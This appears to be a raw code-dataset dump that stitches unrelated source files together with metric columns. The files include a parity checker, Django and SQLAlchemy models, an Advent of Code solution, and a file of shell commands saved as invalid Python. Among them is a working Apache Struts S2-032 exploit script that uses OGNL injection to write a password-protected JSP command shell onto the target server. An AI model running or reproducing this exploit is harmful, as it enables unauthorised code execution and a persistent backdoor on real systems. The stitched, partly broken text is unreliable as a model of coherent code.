| 0.772627
| 6,367
| 45,907
| 5.138527
| 0.042563
| 0.109118
| 0.073173
| 0.092429
| 0.787694
| 0.745545
| 0.729009
| 0.720604
| 0.701745
| 0.680289
| 0
| 0.010395
| 0.134533
| 45,907
| 1,279
| 89
| 35.892885
| 0.813068
| 0.120461
| 0
| 0.334091
| 0
| 0
| 0.001737
| 0
| 0
| 0
| 0.003022
| 0
| 0
| 1
| 0.145455
| false
| 0
| 0.014773
| 0
| 0.160227
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
3103bc6ebf531fe343ad9222e389780270e2ceee
| 129
|
py
|
Python
|
ex030.py
|
almmessias/CursoPython
|
4cec6946f32002cbd5d3b802df11ea1ba74169f5
|
[
"MIT"
] | null | null | null |
ex030.py
|
almmessias/CursoPython
|
4cec6946f32002cbd5d3b802df11ea1ba74169f5
|
[
"MIT"
] | null | null | null |
ex030.py
|
almmessias/CursoPython
|
4cec6946f32002cbd5d3b802df11ea1ba74169f5
|
[
"MIT"
] | null | null | null |
n = int ( input ('Digite um número: '))
if (n % 2) == 0:
print ('Esse número é par')
else:
print ('Esse número é impar')
| 21.5
| 39
| 0.55814
| 21
| 129
| 3.428571
| 0.714286
| 0.25
| 0.416667
| 0.444444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021053
| 0.263566
| 129
| 5
| 40
| 25.8
| 0.736842
| 0
| 0
| 0
| 0
| 0
| 0.418605
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.4
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
3106f2d2df6bd80a4648fc7bd3a0bbf334551e86
| 99
|
py
|
Python
|
apps/coordinator/admin.py
|
rohitmaurya-png/EventManager
|
b01d45f0ee1856c2a088a3f61a973c453b741fd6
|
[
"MIT"
] | 1
|
2022-03-27T01:02:29.000Z
|
2022-03-27T01:02:29.000Z
|
apps/coordinator/admin.py
|
rohitmaurya-png/EventManager
|
b01d45f0ee1856c2a088a3f61a973c453b741fd6
|
[
"MIT"
] | null | null | null |
apps/coordinator/admin.py
|
rohitmaurya-png/EventManager
|
b01d45f0ee1856c2a088a3f61a973c453b741fd6
|
[
"MIT"
] | 3
|
2021-04-20T08:27:31.000Z
|
2022-02-18T09:30:48.000Z
|
from django.contrib import admin
from .models import Coordinator
admin.site.register(Coordinator)
| 19.8
| 32
| 0.838384
| 13
| 99
| 6.384615
| 0.692308
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.10101
| 99
| 5
| 33
| 19.8
| 0.932584
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.666667
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
310933401225515f9ff7b553ea55e2ccd352af98
| 876
|
py
|
Python
|
AdventOfCode2020/Day 3/Day3.py
|
MattTitmas/AdventOfCode
|
36be4f6bf973f77ff93b08dc69c977bb11951f27
|
[
"MIT"
] | null | null | null |
AdventOfCode2020/Day 3/Day3.py
|
MattTitmas/AdventOfCode
|
36be4f6bf973f77ff93b08dc69c977bb11951f27
|
[
"MIT"
] | null | null | null |
AdventOfCode2020/Day 3/Day3.py
|
MattTitmas/AdventOfCode
|
36be4f6bf973f77ff93b08dc69c977bb11951f27
|
[
"MIT"
] | null | null | null |
def Part1():
File = open("Input.txt").read().split("\n")
Order = [3,1]
CurrentLocation = [0,0]
Trees = 0
while (CurrentLocation[1] < len(File)-1):
CurrentLocation[1] += Order[1]
CurrentLocation[0] += Order[0]
if File[CurrentLocation[1]][CurrentLocation[0] % 31] == "#":
Trees += 1
return Trees
def Part2():
File = open("Input.txt").read().split("\n")
Orders = [[1,2],[3,1],[1,1],[5,1],[7,1]]
Multiply = 1
for Order in Orders:
CurrentLocation = [0,0]
Trees = 0
while (CurrentLocation[1] < len(File)-1):
CurrentLocation[1] += Order[1]
CurrentLocation[0] += Order[0]
if File[CurrentLocation[1]][CurrentLocation[0] % 31] == "#":
Trees += 1
Multiply *= Trees
return Multiply
print(Part1())
print(Part2())
| 21.9
| 72
| 0.522831
| 104
| 876
| 4.403846
| 0.278846
| 0.244541
| 0.18559
| 0.069869
| 0.733624
| 0.733624
| 0.733624
| 0.620087
| 0.620087
| 0.620087
| 0
| 0.072816
| 0.294521
| 876
| 39
| 73
| 22.461538
| 0.668285
| 0
| 0
| 0.592593
| 0
| 0
| 0.027397
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.074074
| false
| 0
| 0
| 0
| 0.148148
| 0.074074
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
31307282242d182e3d00869c16a2436fb3e033b7
| 146
|
py
|
Python
|
tools/lint/lib/check.py
|
Acidburn0zzz/test262
|
4ea2931f169d4a4b5a9a4a7c731cc92bf7b3e13c
|
[
"BSD-3-Clause"
] | 1
|
2017-07-17T03:21:44.000Z
|
2017-07-17T03:21:44.000Z
|
tools/lint/lib/check.py
|
Acidburn0zzz/test262
|
4ea2931f169d4a4b5a9a4a7c731cc92bf7b3e13c
|
[
"BSD-3-Clause"
] | null | null | null |
tools/lint/lib/check.py
|
Acidburn0zzz/test262
|
4ea2931f169d4a4b5a9a4a7c731cc92bf7b3e13c
|
[
"BSD-3-Clause"
] | null | null | null |
class Check(object):
'''Base class for defining linting checks.'''
ID = None
def run(self, name, meta, source):
return True
| 20.857143
| 50
| 0.609589
| 19
| 146
| 4.684211
| 0.947368
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.273973
| 146
| 6
| 51
| 24.333333
| 0.839623
| 0.273973
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
3162b8fb096ea28c75741d948689f43b7910689f
| 151
|
py
|
Python
|
xls2xml/xls2xml/__init__.py
|
sundarvenkata-EBI/amp-t2d-submissions
|
96f36fc304345919363b2f587770371c1c97560b
|
[
"Apache-2.0"
] | null | null | null |
xls2xml/xls2xml/__init__.py
|
sundarvenkata-EBI/amp-t2d-submissions
|
96f36fc304345919363b2f587770371c1c97560b
|
[
"Apache-2.0"
] | null | null | null |
xls2xml/xls2xml/__init__.py
|
sundarvenkata-EBI/amp-t2d-submissions
|
96f36fc304345919363b2f587770371c1c97560b
|
[
"Apache-2.0"
] | null | null | null |
from MetadataValidator import MetadataValidator
from Reader import Reader
from XLSReader import XLSReader
from TSVReader import TSVReader
import utils
| 25.166667
| 47
| 0.880795
| 18
| 151
| 7.388889
| 0.388889
| 0.225564
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.119205
| 151
| 5
| 48
| 30.2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
317aff07d4bf5dcc1d81e72d7388fbdea499eefc
| 43
|
py
|
Python
|
tests/__init__.py
|
theFork/python-wled
|
746422c5e599a39220ad2a44da15d4a1b1d2e320
|
[
"MIT"
] | 53
|
2019-10-30T08:53:39.000Z
|
2022-03-28T03:14:23.000Z
|
tests/__init__.py
|
theFork/python-wled
|
746422c5e599a39220ad2a44da15d4a1b1d2e320
|
[
"MIT"
] | 559
|
2019-10-28T22:52:00.000Z
|
2022-03-31T14:00:50.000Z
|
tests/__init__.py
|
theFork/python-wled
|
746422c5e599a39220ad2a44da15d4a1b1d2e320
|
[
"MIT"
] | 16
|
2019-11-21T22:42:29.000Z
|
2022-03-07T10:21:26.000Z
|
"""Asynchronous Python client for WLED."""
| 21.5
| 42
| 0.72093
| 5
| 43
| 6.2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.116279
| 43
| 1
| 43
| 43
| 0.815789
| 0.837209
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
31b10b9a31e6c589ed37709cb328d38c5459ee55
| 334
|
py
|
Python
|
web/transiq/datacollection/admin.py
|
manibhushan05/transiq
|
763fafb271ce07d13ac8ce575f2fee653cf39343
|
[
"Apache-2.0"
] | null | null | null |
web/transiq/datacollection/admin.py
|
manibhushan05/transiq
|
763fafb271ce07d13ac8ce575f2fee653cf39343
|
[
"Apache-2.0"
] | 14
|
2020-06-05T23:06:45.000Z
|
2022-03-12T00:00:18.000Z
|
web/transiq/datacollection/admin.py
|
manibhushan05/transiq
|
763fafb271ce07d13ac8ce575f2fee653cf39343
|
[
"Apache-2.0"
] | null | null | null |
# from django.contrib import admin
#
# from . import models
#
# admin.site.register(models.VehicleTempData)
# admin.site.register(models.OthersTempData)
# admin.site.register(models.TransporterTempData)
# admin.site.register(models.OwnerTempData)
# admin.site.register(models.BookingAgent)
# admin.site.register(models.BrokerTempData)
| 33.4
| 49
| 0.805389
| 38
| 334
| 7.078947
| 0.368421
| 0.200743
| 0.379182
| 0.513011
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.068862
| 334
| 10
| 50
| 33.4
| 0.864952
| 0.94012
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
31ba4eb7db8814299e88a0dcc895039a01392bc5
| 314
|
py
|
Python
|
output/models/ms_data/errata10/err_e006_xsd/__init__.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 1
|
2021-08-14T17:59:21.000Z
|
2021-08-14T17:59:21.000Z
|
output/models/ms_data/errata10/err_e006_xsd/__init__.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | 4
|
2020-02-12T21:30:44.000Z
|
2020-04-15T20:06:46.000Z
|
output/models/ms_data/errata10/err_e006_xsd/__init__.py
|
tefra/xsdata-w3c-tests
|
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
|
[
"MIT"
] | null | null | null |
from output.models.ms_data.errata10.err_e006_xsd.err_e006 import (
Root,
TestDate,
TestGday,
TestGmonth,
TestGmonthDay,
TestGyear,
TestGyearMonth,
)
__all__ = [
"Root",
"TestDate",
"TestGday",
"TestGmonth",
"TestGmonthDay",
"TestGyear",
"TestGyearMonth",
]
| 15.7
| 66
| 0.624204
| 27
| 314
| 6.962963
| 0.666667
| 0.074468
| 0.212766
| 0.319149
| 0.702128
| 0.702128
| 0.702128
| 0
| 0
| 0
| 0
| 0.034188
| 0.254777
| 314
| 19
| 67
| 16.526316
| 0.769231
| 0
| 0
| 0
| 0
| 0
| 0.210191
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.055556
| 0
| 0.055556
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
31c2791f6e0ce9b196b8721aaea625fd847d4311
| 87
|
py
|
Python
|
API connect.py
|
islamamer666/Wikibooks_ETL_Pipeline
|
5317cee7fe9e01638f78d348387ae9f20c4d5d4e
|
[
"MIT"
] | null | null | null |
API connect.py
|
islamamer666/Wikibooks_ETL_Pipeline
|
5317cee7fe9e01638f78d348387ae9f20c4d5d4e
|
[
"MIT"
] | null | null | null |
API connect.py
|
islamamer666/Wikibooks_ETL_Pipeline
|
5317cee7fe9e01638f78d348387ae9f20c4d5d4e
|
[
"MIT"
] | null | null | null |
import kaggle
kaggle datasets list -s Wikibooks
kaggle datasets download -h Wikibooks
| 29
| 37
| 0.827586
| 12
| 87
| 6
| 0.666667
| 0.388889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.149425
| 87
| 3
| 37
| 29
| 0.972973
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.333333
| null | null | 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
31e56d35d9f04d5131c7f24410a1c5347487b7c7
| 167
|
py
|
Python
|
ariadne_django/apps.py
|
drewsynan/ariadne_django
|
836b783a7240eed0ee03b7db1bbb7c5ff2843fb4
|
[
"BSD-3-Clause"
] | 34
|
2021-04-08T15:36:14.000Z
|
2022-03-22T14:30:28.000Z
|
ariadne_django/apps.py
|
drewsynan/ariadne_django
|
836b783a7240eed0ee03b7db1bbb7c5ff2843fb4
|
[
"BSD-3-Clause"
] | 34
|
2021-04-08T02:17:25.000Z
|
2022-03-22T12:25:41.000Z
|
ariadne_django/apps.py
|
drewsynan/ariadne_django
|
836b783a7240eed0ee03b7db1bbb7c5ff2843fb4
|
[
"BSD-3-Clause"
] | 11
|
2021-04-08T16:47:36.000Z
|
2022-03-26T23:25:39.000Z
|
from django.apps import AppConfig
class AriadneDjangoConfig(AppConfig):
name = "ariadne_django"
label = "ariadne_django"
verbose_name = "ariadne_django"
| 20.875
| 37
| 0.748503
| 18
| 167
| 6.722222
| 0.611111
| 0.322314
| 0.280992
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.173653
| 167
| 7
| 38
| 23.857143
| 0.876812
| 0
| 0
| 0
| 0
| 0
| 0.251497
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 5
|
7335333395e090cc4258992f469e418dfa37f8c1
| 2,723
|
py
|
Python
|
script/struts2-s2032.py
|
gaoming136692/POC-T
|
509d08cbaaced12bf9bc9aa9dd0748abc73a3c37
|
[
"DOC"
] | 6
|
2019-01-20T08:34:30.000Z
|
2021-09-14T15:47:42.000Z
|
script/struts2-s2032.py
|
gaoming136692/POC-T
|
509d08cbaaced12bf9bc9aa9dd0748abc73a3c37
|
[
"DOC"
] | null | null | null |
script/struts2-s2032.py
|
gaoming136692/POC-T
|
509d08cbaaced12bf9bc9aa9dd0748abc73a3c37
|
[
"DOC"
] | 4
|
2019-10-01T01:18:40.000Z
|
2021-10-01T12:02:20.000Z
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = i@cdxy.me
# project = https://github.com/Xyntax/POC-T
"""
Struts S2-032 RCE PoC
Usage:
python POC-T.py -T -m struts2-s2032 -f [file]
"""
import random
import requests
def poc(url):
try:
if '://' not in url:
url = 'http://' + url
url = url.split('?')[0]
jsp_file = str(random.randint(1000, 1000000)) + '.jsp'
content = 'gif89a%3C%25%0A%20%20%20%20if%28%22024%22.equals%28request.' \
'getParameter%28%22pwd%22%29%29%29%7B%0A%20%20%20%20%20%20%2' \
'0%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime%28%' \
'29.exec%28request.getParameter%28%22l%22%29%29.getInputStre' \
'am%28%29%3B%0A%20%20%20%20%20%20%20%20int%20a%20%3D%20-1%3B' \
'%0A%20%20%20%20%20%20%20%20byte%5B%5D%20b%20%3D%20new%20byt' \
'e%5B2048%5D%3B%0A%20%20%20%20%20%20%20%20out.print%28%22%3C' \
'pre%3E%22%29%3B%0A%20%20%20%20%20%20%20%20while%28%28a%3Din' \
'.read%28b%29%29%21%3D-1%29%7B%0A%20%20%20%20%20%20%20%20%20' \
'%20%20%20out.println%28new%20String%28b%29%29%3B%0A%20%20%2' \
'0%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20out.print%28%' \
'22%3C%2fpre%3E%22%29%3B%0A%20%20%20%20%7D%0A%25%3E'
poc_url = "{url}?method:%23_memberAccess%3d@ognl.OgnlContext" \
"@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0]," \
"%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a)," \
"%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23" \
"fos%3dnew java.io.FileOutputStream(%23b),%23fos.write(%23para" \
"meters.content[0].getBytes()),%23fos.close(),%23hh%3d%23conte" \
"xt.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23" \
"b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23x" \
"x:%23request.toString&reqobj=com.opensymphony.xwork2.dispatch" \
"er.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatch" \
"er.HttpServletResponse&reqobj=%2f&reqobj={filename}&content={" \
"content}".format(url=url, filename=jsp_file, content=content)
s = requests.get(poc_url,
headers={'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0'},
timeout=10)
return bool(s.status_code == 200 and jsp_file in s.content and 'method:' not in s.content)
except Exception, e:
# print e
return False
| 48.625
| 115
| 0.558942
| 401
| 2,723
| 3.773067
| 0.428928
| 0.145406
| 0.174488
| 0.179775
| 0.188367
| 0.139458
| 0.130205
| 0.130205
| 0.1269
| 0.083278
| 0
| 0.204423
| 0.252663
| 2,723
| 55
| 116
| 49.509091
| 0.539066
| 0.040764
| 0
| 0
| 0
| 0.315789
| 0.576527
| 0.531721
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.052632
| null | null | 0.105263
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
7dfa03ac9da7432d0763fe59ca5db422cf7de779
| 58
|
py
|
Python
|
happy_bittorrent/algorithms/__init__.py
|
Pewpews/happy-bittorrent
|
0c0786c2491ff62f77b6c3bd33e3648daffc0537
|
[
"MIT"
] | null | null | null |
happy_bittorrent/algorithms/__init__.py
|
Pewpews/happy-bittorrent
|
0c0786c2491ff62f77b6c3bd33e3648daffc0537
|
[
"MIT"
] | null | null | null |
happy_bittorrent/algorithms/__init__.py
|
Pewpews/happy-bittorrent
|
0c0786c2491ff62f77b6c3bd33e3648daffc0537
|
[
"MIT"
] | null | null | null |
from happy_bittorrent.algorithms.torrent_manager import *
| 29
| 57
| 0.87931
| 7
| 58
| 7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.068966
| 58
| 1
| 58
| 58
| 0.907407
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
b41b1c2c6bbb707161f448c2ffcfcfef060f8b42
| 752
|
py
|
Python
|
server/swagger_server/models/__init__.py
|
fabric-testbed/UserInformationService
|
3e4a850c67f39e188f7571a044721ad102987e2f
|
[
"MIT"
] | null | null | null |
server/swagger_server/models/__init__.py
|
fabric-testbed/UserInformationService
|
3e4a850c67f39e188f7571a044721ad102987e2f
|
[
"MIT"
] | 16
|
2021-02-16T19:14:40.000Z
|
2022-01-18T15:48:44.000Z
|
server/swagger_server/models/__init__.py
|
fabric-testbed/UserInformationService
|
3e4a850c67f39e188f7571a044721ad102987e2f
|
[
"MIT"
] | null | null | null |
# coding: utf-8
# flake8: noqa
from __future__ import absolute_import
# import models into model package
from swagger_server.models.author_id import AuthorId
from swagger_server.models.author_id_type import AuthorIdType
from swagger_server.models.people_long import PeopleLong
from swagger_server.models.people_short import PeopleShort
from swagger_server.models.portal_key import PortalKey
from swagger_server.models.preference_type import PreferenceType
from swagger_server.models.preferences import Preferences
from swagger_server.models.publication_full import PublicationFull
from swagger_server.models.publication_short import PublicationShort
from swagger_server.models.user_key import UserKey
from swagger_server.models.version import Version
| 44.235294
| 68
| 0.881649
| 102
| 752
| 6.245098
| 0.372549
| 0.189953
| 0.293564
| 0.397174
| 0.295133
| 0.097331
| 0
| 0
| 0
| 0
| 0
| 0.002894
| 0.081117
| 752
| 16
| 69
| 47
| 0.918958
| 0.078457
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
b41d8276f17767ddfb57ecfcc24a1249e7f1e90c
| 4,012
|
py
|
Python
|
monitoringHisto/monitoringHisto/model_mysql.py
|
juliozinga/FIWARELab-monitoringAPI
|
5a411de0a59f4408b4ed1a7e58b550b227e4975c
|
[
"Apache-2.0"
] | null | null | null |
monitoringHisto/monitoringHisto/model_mysql.py
|
juliozinga/FIWARELab-monitoringAPI
|
5a411de0a59f4408b4ed1a7e58b550b227e4975c
|
[
"Apache-2.0"
] | null | null | null |
monitoringHisto/monitoringHisto/model_mysql.py
|
juliozinga/FIWARELab-monitoringAPI
|
5a411de0a59f4408b4ed1a7e58b550b227e4975c
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
from sqlalchemy import Column, DateTime, Float, String, text
from sqlalchemy.ext.declarative import declarative_base
from copy import deepcopy, copy
Base = declarative_base()
metadata = Base.metadata
class Host(Base):
__tablename__ = 'host'
entityId = Column(String(64), primary_key=True, nullable=False)
region = Column(String(16), primary_key=True, nullable=False)
host_name = Column(String(32), nullable=False)
role = Column(String(16), nullable=False)
aggregationType = Column(String(8), primary_key=True, nullable=False)
timestampId = Column(DateTime, primary_key=True, nullable=False, server_default=text("CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP"))
avg_usedMemPct = Column(Float, nullable=False, server_default=text("'0'"))
avg_freeSpacePct = Column(Float, nullable=False, server_default=text("'0'"))
avg_cpuLoadPct = Column(Float, nullable=False, server_default=text("'0'"))
host_id = Column(String(16), nullable=False)
sysUptime = Column(Float, nullable=False, server_default=text("'0'"))
class HostService(Base):
__tablename__ = 'host_service'
entityId = Column(String(64), primary_key=True, nullable=False)
region = Column(String(32), primary_key=True, nullable=False)
entityType = Column(String(32), primary_key=True, nullable=False)
serviceType = Column(String(32), primary_key=True, nullable=False)
aggregationType = Column(String(8), primary_key=True, nullable=False)
timestampId = Column(DateTime, primary_key=True, nullable=False, server_default=text("CURRENT_TIMESTAMP"))
avg_Uptime = Column(Float, nullable=False, server_default=text("'0'"))
def __eq__(self, other):
se = dict(self.__dict__)
ot = dict(other.__dict__)
del se["_sa_instance_state"]
del se["avg_Uptime"]
del ot["_sa_instance_state"]
del ot["avg_Uptime"]
return isinstance(other, self.__class__) and se == ot
def __hash__(self):
tuple = (self.entityId, self.region, self.entityType, self.serviceType, self.aggregationType, self.timestampId)
# se = deepcopy(self)
# se._sa_instance_state = None
# se.avg_Uptime = None
return hash(tuple)
class Region(Base):
__tablename__ = 'region'
entityId = Column(String(16), primary_key=True, nullable=False)
entityType = Column(String(16), nullable=False)
aggregationType = Column(String(8), primary_key=True, nullable=False)
timestampId = Column(DateTime, primary_key=True, nullable=False, server_default=text("CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP"))
avg_ram_used = Column(Float, nullable=False, server_default=text("'0'"))
avg_ram_tot = Column(Float, nullable=False, server_default=text("'0'"))
avg_core_enabled = Column(Float, nullable=False, server_default=text("'0'"))
avg_core_used = Column(Float, nullable=False, server_default=text("'0'"))
avg_core_tot = Column(Float, nullable=False, server_default=text("'0'"))
avg_hd_used = Column(Float, nullable=False, server_default=text("'0'"))
avg_hd_tot = Column(Float, nullable=False, server_default=text("'0'"))
avg_vm_tot = Column(Float, nullable=False, server_default=text("'0'"))
class Vm(Base):
__tablename__ = 'vm'
entityId = Column(String(64), primary_key=True, nullable=False)
region = Column(String(16), primary_key=True, nullable=False)
entityType = Column(String(16), nullable=False)
aggregationType = Column(String(8), primary_key=True, nullable=False)
timestampId = Column(DateTime, primary_key=True, nullable=False, server_default=text("CURRENT_TIMESTAMP"))
avg_usedMemPct = Column(Float, nullable=False, server_default=text("'0'"))
avg_freeSpacePct = Column(Float, nullable=False, server_default=text("'0'"))
avg_cpuLoadPct = Column(Float, nullable=False, server_default=text("'0'"))
host_name = Column(String(32), nullable=False)
sysUptime = Column(Float, nullable=False, server_default=text("'0'"))
| 47.2
| 138
| 0.718843
| 511
| 4,012
| 5.407045
| 0.148728
| 0.188201
| 0.144408
| 0.197611
| 0.768006
| 0.762939
| 0.762939
| 0.743757
| 0.689468
| 0.669562
| 0
| 0.015214
| 0.148056
| 4,012
| 84
| 139
| 47.761905
| 0.793154
| 0.020688
| 0
| 0.390625
| 0
| 0
| 0.064985
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.03125
| false
| 0
| 0.046875
| 0
| 0.859375
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
b429cb4cebd6aababf433d9940e9716eb53316cc
| 5,259
|
py
|
Python
|
restui/models/annotations.py
|
brjones/gifts_rest
|
8217e45fd1a692b00c9e9ae9f022ac2d2fab211e
|
[
"Apache-2.0"
] | null | null | null |
restui/models/annotations.py
|
brjones/gifts_rest
|
8217e45fd1a692b00c9e9ae9f022ac2d2fab211e
|
[
"Apache-2.0"
] | null | null | null |
restui/models/annotations.py
|
brjones/gifts_rest
|
8217e45fd1a692b00c9e9ae9f022ac2d2fab211e
|
[
"Apache-2.0"
] | null | null | null |
"""
.. See the NOTICE file distributed with this work for additional information
regarding copyright ownership.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from django.db import models
from django.conf import settings
